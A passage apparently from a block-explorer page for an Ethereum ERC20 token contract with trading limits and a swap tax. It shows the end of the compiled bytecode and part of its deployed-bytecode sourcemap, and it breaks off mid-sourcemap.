511156127b25780860481111561278e5761278d61272c565b5b600185161561279d5780820291505b80810290506127ab8561275b565b9450612772565b94509492505050565b6000826127cb5760019050612887565b816127d95760009050612887565b81600181146127ef57600281146127f957612828565b6001915050612887565b60ff84111561280b5761280a61272c565b5b8360020a9150848211156128225761282161272c565b5b50612887565b5060208310610133831016604e8410600b841016171561285d5782820a9050838111156128585761285761272c565b5b612887565b61286a8484846001612768565b925090508184048111156128815761288061272c565b5b81810290505b9392505050565b600061289982612535565b91506128a48361265e565b92506128d17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846127bb565b905092915050565b60006128e482612535565b91506128ef83612535565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129285761292761272c565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612969602083612422565b915061297482612933565b602082019050919050565b600060208201905081810360008301526129988161295c565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006129d5601783612422565b91506129e08261299f565b602082019050919050565b60006020820190508181036000830152612a04816129c8565b9050919050565b7f6574682062616c616e6365206572726f72000000000000000000000000000000600082015250565b6000612a41601183612422565b9150612a4c82612a0b565b602082019050919050565b60006020820190508181036000830152612a7081612a34565b9050919050565b7f746f6b656e2062616c616e6365206572726f7200000000000000000000000000600082015250565b6000612aad601383612422565b9150612ab882612a77565b602082019050919050565b60006020820190508181036000830152612adc81612aa0565b9050919050565b600081519050612af281612509565b92915050565b600060208284031215612b0e57612b0d6124d2565b5b6000612b1c84828501612ae3565b91505092915050565b6000604082019050612b3a60008301856126c2565b612b4760208301846126c2565b9392505050565b6000819050919050565b6000819050919050565b6000612b7d612b78612b7384612b4e565b612b58565b612535565b9050919050565b612b8d81612b62565b82525050565b600060c082019050612ba860008301896126c2565b612bb560208301886125e1565b612bc26040830187612b84565b612bcf6060830186612b84565b612bdc60808301856126c2565b612be960a08301846125e1565b979650505050505050565b600081519050612c038161253f565b92915050565b600080600060608486031215612c2257612c216124d2565b5b6000612c3086828701612bf4565b9350506020612c4186828701612bf4565b9250506040612c5286828701612bf4565b9150509250925092565b6000604082019050612c7160008301856126c2565b612c7e60208301846125e1565b9392505050565b612c8e816125ab565b8114612c9957600080fd5b50565b600081519050612cab81612c85565b92915050565b600060208284031215612cc757612cc66124d2565b5b6000612cd584828501612c9c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d3a602483612422565b9150612d4582612cde565b604082019050919050565b60006020820190508181036000830152612d6981612d2d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612dcc602283612422565b9150612dd782612d70565b604082019050919050565b60006020820190508181036000830152612dfb81612dbf565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612e38601d83612422565b9150612e4382612e02565b602082019050919050565b60006020820190508181036000830152612e6781612e2b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612eca602583612422565b9150612ed582612e6e565b604082019050919050565b60006020820190508181036000830152612ef981612ebd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f5c602383612422565b9150612f6782612f00565b604082019050919050565b60006020820190508181036000830152612f8b81612f4f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612fee602983612422565b9150612ff982612f92565b604082019050919050565b6000602082019050818103600083015261301d81612fe1565b9050919050565b600061302f82612535565b915061303a83612535565b92508282101561304d5761304c61272c565b5b828203905092915050565b7f45524332303a2052657665727465640000000000000000000000000000000000600082015250565b600061308e600f83612422565b915061309982613058565b602082019050919050565b600060208201905081810360008301526130bd81613081565b9050919050565b7f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b6000613120602483612422565b915061312b826130c4565b604082019050919050565b6000602082019050818103600083015261314f81613113565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061318c601983612422565b915061319782613156565b602082019050919050565b600060208201905081810360008301526131bb8161317f565b9050919050565b60006131cd82612535565b91506131d883612535565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561320d5761320c61272c565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061324e601a83612422565b915061325982613218565b602082019050919050565b6000602082019050818103600083015261327d81613241565b9050919050565b600061328f82612535565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036132c1576132c061272c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61335f816124f7565b82525050565b60006133718383613356565b60208301905092915050565b6000602082019050919050565b60006133958261332a565b61339f8185613335565b93506133aa83613346565b8060005b838110156133db5781516133c28882613365565b97506133cd8361337d565b9250506001810190506133ae565b5085935050505092915050565b600060a0820190506133fd60008301886125e1565b61340a6020830187612b84565b818103604083015261341c818661338a565b905061342b60608301856126c2565b61343860808301846125e1565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061347c82612535565b915061348783612535565b92508261349757613496613442565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134fe602183612422565b9150613509826134a2565b604082019050919050565b6000602082019050818103600083015261352d816134f1565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061356a601b83612422565b915061357582613534565b602082019050919050565b600060208201905081810360008301526135998161355d565b905091905056fea2646970667358221220fa1886d96380b1a13c14a417a6337a260327a3079f23729b39ee6430131e4e4864736f6c634300080f0033
Deployed Bytecode Sourcemap
3317:9653:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5648:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6481:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4787:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5925:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6650:267;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5834:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12619:348;;;;;;;;;;;;;:::i;:::-;;3715:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6028:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11462:196;;;;;;;;;;;;;:::i;:::-;;4597:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2342:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4660:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9891:308;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5739:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3679:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6155:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4723:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3919:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11766:808;;;;;;;;;;;;;:::i;:::-;;6330:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5648:83;5685:13;5718:5;;;;;;;;;;;;;;;;;5711:12;;5648:83;:::o;6481:161::-;6556:4;6573:39;6582:12;:10;:12::i;:::-;6596:7;6605:6;6573:8;:39::i;:::-;6630:4;6623:11;;6481:161;;;;:::o;4787:51::-;;;;:::o;5925:95::-;5978:7;4411:1;4467:2;:13;;;;:::i;:::-;4454:10;:26;;;;:::i;:::-;5998:14;;5925:95;:::o;6650:267::-;6746:4;6763:15;6781:12;:10;:12::i;:::-;6763:30;;6804:38;6820:4;6826:7;6835:6;6804:15;:38::i;:::-;6853:34;6863:4;6869:9;6880:6;6853:9;:34::i;:::-;6905:4;6898:11;;;6650:267;;;;;:::o;5834:83::-;5875:5;4411:1;5893:16;;5834:83;:::o;12619:348::-;12683:10;;;;;;;;;;;12669:24;;:12;:10;:12::i;:::-;:24;;;12661:33;;;;;;12705:20;12726:24;12744:4;12726:9;:24::i;:::-;12705:45;;12777:1;12764:12;:14;12761:73;;;12792:30;12809:12;12792:16;:30::i;:::-;12761:73;12844:18;12863:21;12844:40;;12909:1;12898:10;:12;12895:65;;;12924:24;12937:10;12924:12;:24::i;:::-;12895:65;12650:317;;12619:348::o;3715:37::-;;;;:::o;6028:119::-;6094:7;6121:9;:18;6131:7;6121:18;;;;;;;;;;;;;;;;6114:25;;6028:119;;;:::o;11462:196::-;2479:12;:10;:12::i;:::-;2469:22;;:6;;;;;;;;;;:22;;;2461:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4411:1:::1;4467:2;:13;;;;:::i;:::-;4454:10;:26;;;;:::i;:::-;11515:12;:22;;;;4411:1;4467:2;:13;;;;:::i;:::-;4454:10;:26;;;;:::i;:::-;11548:14;:22;;;;11602:5;11581:20;;:26;;;;;;;;;;;;;;;;;;11623:27;4411:1;4467:2;:13;;;;:::i;:::-;4454:10;:26;;;;:::i;:::-;11623:27;;;;;;:::i;:::-;;;;;;;;11462:196::o:0;4597:56::-;;;;:::o;2342:79::-;2380:7;2407:6;;;;;;;;;;;2400:13;;2342:79;:::o;4660:56::-;;;;:::o;9891:308::-;10000:1;9974:28;;:14;;;;;;;;;;;:28;;;9970:76;;10034:12;10017:14;;:29;;;;;;;;;;;;;;;;;;9970:76;10075:13;10061:27;;:10;:27;;;10057:135;;10122:12;10105:14;;:29;;;;;;;;;;;;;;;;;;10176:4;10151:10;:22;10162:10;10151:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;10057:135;9891:308;;:::o;5739:87::-;5778:13;5811:7;;;;;;;;;;;;;;;;;5804:14;;5739:87;:::o;3679:29::-;;;;;;;;;;;;;:::o;6155:167::-;6233:4;6250:42;6260:12;:10;:12::i;:::-;6274:9;6285:6;6250:9;:42::i;:::-;6310:4;6303:11;;6155:167;;;;:::o;4723:57::-;;;;:::o;3919:40::-;;;;;;;;;;;;;:::o;11766:808::-;2479:12;:10;:12::i;:::-;2469:22;;:6;;;;;;;;;;:22;;;2461:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11830:11:::1;;;;;;;;;;;11829:12;11821:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11916:42;11879:15;;:80;;;;;;;;;;;;;;;;;;11970:58;11987:4;12002:15;;;;;;;;;;;4411:1;4467:2;:13;;;;:::i;:::-;4454:10;:26;;;;:::i;:::-;11970:8;:58::i;:::-;12071:1;12047:21;:25;12039:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;12140:1;12113:24;12131:4;12113:9;:24::i;:::-;:28;12105:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;12210:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12192:55;;;12256:4;12263:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12192:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12176:13;;:110;;;;;;;;;;;;;;;;;;12297:15;;;;;;;;;;;:31;;;12336:21;12367:4;12373:24;12391:4;12373:9;:24::i;:::-;12398:1;12400::::0;12402:7:::1;:5;:7::i;:::-;12410:15;12297:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12444:13;;;;;;;;;;;12437:29;;;12475:15;;;;;;;;;;;12493:14;12437:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12533:4;12519:11;;:18;;;;;;;;;;;;;;;;;;12562:4;12548:11;;:18;;;;;;;;;;;;;;;;;;11766:808::o:0;6330:143::-;6411:7;6438:11;:18;6450:5;6438:18;;;;;;;;;;;;;;;:27;6457:7;6438:27;;;;;;;;;;;;;;;;6431:34;;6330:143;;;;:::o;95:98::-;148:7;175:10;168:17;;95:98;:::o;6925:335::-;7035:1;7018:19;;:5;:19;;;7010:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7116:1;7097:21;;:7;:21;;;7089:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7198:6;7168:11;:18;7180:5;7168:18;;;;;;;;;;;;;;;:27;7187:7;7168:27;;;;;;;;;;;;;;;:36;;;;7236:7;7220:32;;7229:5;7220:32;;;7245:6;7220:32;;;;;;:::i;:::-;;;;;;;;6925:335;;;:::o;10207:436::-;10342:24;10369:25;10379:5;10386:7;10369:9;:25::i;:::-;10342:52;;10429:17;10409:16;:37;10405:231;;10491:6;10471:16;:26;;10463:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10558:51;10567:5;10574:7;10602:6;10583:16;:25;10558:8;:51::i;:::-;10405:231;10331:312;10207:436;;;:::o;7268:2507::-;7372:1;7356:18;;:4;:18;;;7348:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7449:1;7435:16;;:2;:16;;;7427:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7519:1;7510:6;:10;7502:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7610:4;7585:29;;:10;:21;7596:9;7585:21;;;;;;;;;;;;;;;;;;;;;;;;;:29;;;:84;;;;7659:10;;7633:17;:23;7651:4;7633:23;;;;;;;;;;;;;;;;7618:12;:38;;;;:::i;:::-;:51;7585:84;:103;;;;7679:9;7673:15;;:2;:15;;;7585:103;7577:131;;;;;;;;;;;;:::i;:::-;;;;;;;;;7719:17;7761:7;:5;:7::i;:::-;7753:15;;:4;:15;;;;:32;;;;;7778:7;:5;:7::i;:::-;7772:13;;:2;:13;;;;7753:32;7749:1620;;;7808:20;;;;;;;;;;;7804:346;;;7867:15;;;;;;;;;;;7853:30;;:2;:30;;;;:62;;;;;7901:13;;;;;;;;;;;7887:28;;:2;:28;;;;7853:62;7849:286;;;7988:12;7946:28;:39;7975:9;7946:39;;;;;;;;;;;;;;;;:54;7938:102;;;;;;;;;;;;:::i;:::-;;;;;;;;;8103:12;8061:28;:39;8090:9;8061:39;;;;;;;;;;;;;;;:54;;;;7849:286;7804:346;8178:13;;;;;;;;;;;8170:21;;:4;:21;;;:55;;;;;8209:15;;;;;;;;;;;8195:30;;:2;:30;;;;8170:55;:83;;;;;8231:18;:22;8250:2;8231:22;;;;;;;;;;;;;;;;;;;;;;;;;8229:24;8170:83;8166:313;;;8293:12;;8283:6;:22;;8275:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8388:14;;8378:6;8362:13;8372:2;8362:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8354:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8452:9;;:11;;;;;;;;;:::i;:::-;;;;;;8166:313;8509:76;8581:3;8509:67;8531:15;;8521:9;;:25;8520:55;;8561:14;;8520:55;;;8548:12;;8520:55;8509:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;8497:88;;8609:13;;;;;;;;;;;8603:19;;:2;:19;;;:43;;;;;8641:4;8626:20;;:4;:20;;;;8603:43;8600:253;;;8685:12;;8675:6;:22;;8667:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8758:79;8833:3;8758:70;8780:16;;8770:9;;:26;8769:58;;8812:15;;8769:58;;;8798:13;;8769:58;8758:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;8746:91;;8600:253;8869:28;8900:24;8918:4;8900:9;:24::i;:::-;8869:55;;8944:6;;;;;;;;;;;8943:7;:30;;;;;8960:13;;;;;;;;;;;8954:19;;:2;:19;;;8943:30;:45;;;;;8977:11;;;;;;;;;;;8943:45;:87;;;;;9013:17;;8992:20;:38;8943:87;:119;;;;;9044:18;;9034:9;;:28;8943:119;8939:419;;;9083:67;9100:49;9104:6;9111:37;9115:20;9136:11;;9111:3;:37::i;:::-;9100:3;:49::i;:::-;9083:16;:67::i;:::-;9169:26;9198:21;9169:50;;9262:1;9241:18;:22;9238:105;;;9288:35;9301:21;9288:12;:35::i;:::-;9238:105;9064:294;8939:419;7787:1582;7749:1620;9394:1;9384:9;:11;9381:161;;;9434:39;9463:9;9434;:24;9452:4;9434:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9409:9;:24;9427:4;9409:24;;;;;;;;;;;;;;;:64;;;;9514:4;9491:39;;9500:4;9491:39;;;9520:9;9491:39;;;;;;:::i;:::-;;;;;;;;9381:161;9568:27;9588:6;9568:9;:15;9578:4;9568:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;9552:9;:15;9562:4;9552:15;;;;;;;;;;;;;;;:43;;;;9620:40;9638:21;9649:9;9638:6;:10;;:21;;;;:::i;:::-;9620:9;:13;9630:2;9620:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;9606:9;:13;9616:2;9606:13;;;;;;;;;;;;;;;:54;;;;9691:2;9676:41;;9685:4;9676:41;;;9695:21;9706:9;9695:6;:10;;:21;;;;:::i;:::-;9676:41;;;;;;:::i;:::-;;;;;;;;9730:37;9750:4;9756:2;9760:6;9730:19;:37::i;:::-;7337:2438;7268:2507;;;:::o;10653:555::-;5129:4;5120:6;;:13;;;;;;;;;;;;;;;;;;10747:1:::1;10734:11;:14:::0;10731:27;10750:7:::1;10731:27;10772:11;;;;;;;;;;;10768:25:::0;10785:7:::1;10768:25;10803:21;10841:1;10827:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10803:40;;10872:4;10854;10859:1;10854:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10898:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10888:4;10893:1;10888:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10931:62;10948:4;10963:15;;;;;;;;;;;10981:11;10931:8;:62::i;:::-;11004:15;;;;;;;;;;;:66;;;11085:11;11111:1;11127:4;11154;11174:15;11004:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10720:488;5144:1;5165:5:::0;5156:6;;:14;;;;;;;;;;;;;;;;;;10653:555;:::o;11666:92::-;11723:10;;;;;;;;;;;:19;;:27;11743:6;11723:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11666:92;:::o;1432:246::-;1490:7;1519:1;1514;:6;1510:47;;1544:1;1537:8;;;;1510:47;1567:9;1583:1;1579;:5;;;;:::i;:::-;1567:17;;1612:1;1607;1603;:5;;;;:::i;:::-;:10;1595:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1669:1;1662:8;;;1432:246;;;;;:::o;1686:132::-;1744:7;1771:39;1775:1;1778;1771:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1764:46;;1686:132;;;;:::o;9785:98::-;9842:7;9869:1;9867;:3;9866:9;;9874:1;9866:9;;;9872:1;9866:9;9859:16;;9785:98;;;;:::o;901:179::-;959:7;979:9;995:1;991;:5;;;;:::i;:::-;979:17;;1020:1;1015;:6;;1007:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1071:1;1064:8;;;901:179;;;;:::o;1090:136::-;1148:7;1175:43;1179:1;1182;1175:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1168:50;;1090:136;;;;:::o;11216:238::-;11360:1;11335:17;:21;11353:2;11335:21;;;;;;;;;;;;;;;;:26;11331:68;;11387:12;11363:17;:21;11381:2;11363:21;;;;;;;;;;;;;;;:36;;;;11331:68;11420:15;11414:21;;:2;:21;;;11410:41;;11450:1;11437:10;:14;;;;11410:41;11216:238;;;:::o;1826:189::-;1912:7;1944:1;1940;:5;1947:12;1932:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1971:9;1987:1;1983;:5;;;;:::i;:::-;1971:17;;2006:1;1999:8;;;1826:189;;;;;:::o;1234:190::-;1320:7;1353:1;1348;:6;;1356:12;1340:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1380:9;1396:1;1392;:5;;;;:::i;:::-;1380:17;;1415:1;1408:8;;;1234:190;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:118::-;5323:24;5341:5;5323:24;:::i;:::-;5318:3;5311:37;5236:118;;:::o;5360:222::-;5453:4;5491:2;5480:9;5476:18;5468:26;;5504:71;5572:1;5561:9;5557:17;5548:6;5504:71;:::i;:::-;5360:222;;;;:::o;5588:474::-;5656:6;5664;5713:2;5701:9;5692:7;5688:23;5684:32;5681:119;;;5719:79;;:::i;:::-;5681:119;5839:1;5864:53;5909:7;5900:6;5889:9;5885:22;5864:53;:::i;:::-;5854:63;;5810:117;5966:2;5992:53;6037:7;6028:6;6017:9;6013:22;5992:53;:::i;:::-;5982:63;;5937:118;5588:474;;;;;:::o;6068:180::-;6116:77;6113:1;6106:88;6213:4;6210:1;6203:15;6237:4;6234:1;6227:15;6254:102;6296:8;6343:5;6340:1;6336:13;6315:34;;6254:102;;;:::o;6362:848::-;6423:5;6430:4;6454:6;6445:15;;6478:5;6469:14;;6492:712;6513:1;6503:8;6500:15;6492:712;;;6608:4;6603:3;6599:14;6593:4;6590:24;6587:50;;;6617:18;;:::i;:::-;6587:50;6667:1;6657:8;6653:16;6650:451;;;7082:4;7075:5;7071:16;7062:25;;6650:451;7132:4;7126;7122:15;7114:23;;7162:32;7185:8;7162:32;:::i;:::-;7150:44;;6492:712;;;6362:848;;;;;;;:::o;7216:1073::-;7270:5;7461:8;7451:40;;7482:1;7473:10;;7484:5;;7451:40;7510:4;7500:36;;7527:1;7518:10;;7529:5;;7500:36;7596:4;7644:1;7639:27;;;;7680:1;7675:191;;;;7589:277;;7639:27;7657:1;7648:10;;7659:5;;;7675:191;7720:3;7710:8;7707:17;7704:43;;;7727:18;;:::i;:::-;7704:43;7776:8;7773:1;7769:16;7760:25;;7811:3;7804:5;7801:14;7798:40;;;7818:18;;:::i;:::-;7798:40;7851:5;;;7589:277;;7975:2;7965:8;7962:16;7956:3;7950:4;7947:13;7943:36;7925:2;7915:8;7912:16;7907:2;7901:4;7898:12;7894:35;7878:111;7875:246;;;8031:8;8025:4;8021:19;8012:28;;8066:3;8059:5;8056:14;8053:40;;;8073:18;;:::i;:::-;8053:40;8106:5;;7875:246;8146:42;8184:3;8174:8;8168:4;8165:1;8146:42;:::i;:::-;8131:57;;;;8220:4;8215:3;8211:14;8204:5;8201:25;8198:51;;;8229:18;;:::i;:::-;8198:51;8278:4;8271:5;8267:16;8258:25;;7216:1073;;;;;;:::o;8295:281::-;8353:5;8377:23;8395:4;8377:23;:::i;:::-;8369:31;;8421:25;8437:8;8421:25;:::i;:::-;8409:37;;8465:104;8502:66;8492:8;8486:4;8465:104;:::i;:::-;8456:113;;8295:281;;;;:::o;8582:348::-;8622:7;8645:20;8663:1;8645:20;:::i;:::-;8640:25;;8679:20;8697:1;8679:20;:::i;:::-;8674:25;;8867:1;8799:66;8795:74;8792:1;8789:81;8784:1;8777:9;8770:17;8766:105;8763:131;;;8874:18;;:::i;:::-;8763:131;8922:1;8919;8915:9;8904:20;;8582:348;;;;:::o;8936:182::-;9076:34;9072:1;9064:6;9060:14;9053:58;8936:182;:::o;9124:366::-;9266:3;9287:67;9351:2;9346:3;9287:67;:::i;:::-;9280:74;;9363:93;9452:3;9363:93;:::i;:::-;9481:2;9476:3;9472:12;9465:19;;9124:366;;;:::o;9496:419::-;9662:4;9700:2;9689:9;9685:18;9677:26;;9749:9;9743:4;9739:20;9735:1;9724:9;9720:17;9713:47;9777:131;9903:4;9777:131;:::i;:::-;9769:139;;9496:419;;;:::o;9921:173::-;10061:25;10057:1;10049:6;10045:14;10038:49;9921:173;:::o;10100:366::-;10242:3;10263:67;10327:2;10322:3;10263:67;:::i;:::-;10256:74;;10339:93;10428:3;10339:93;:::i;:::-;1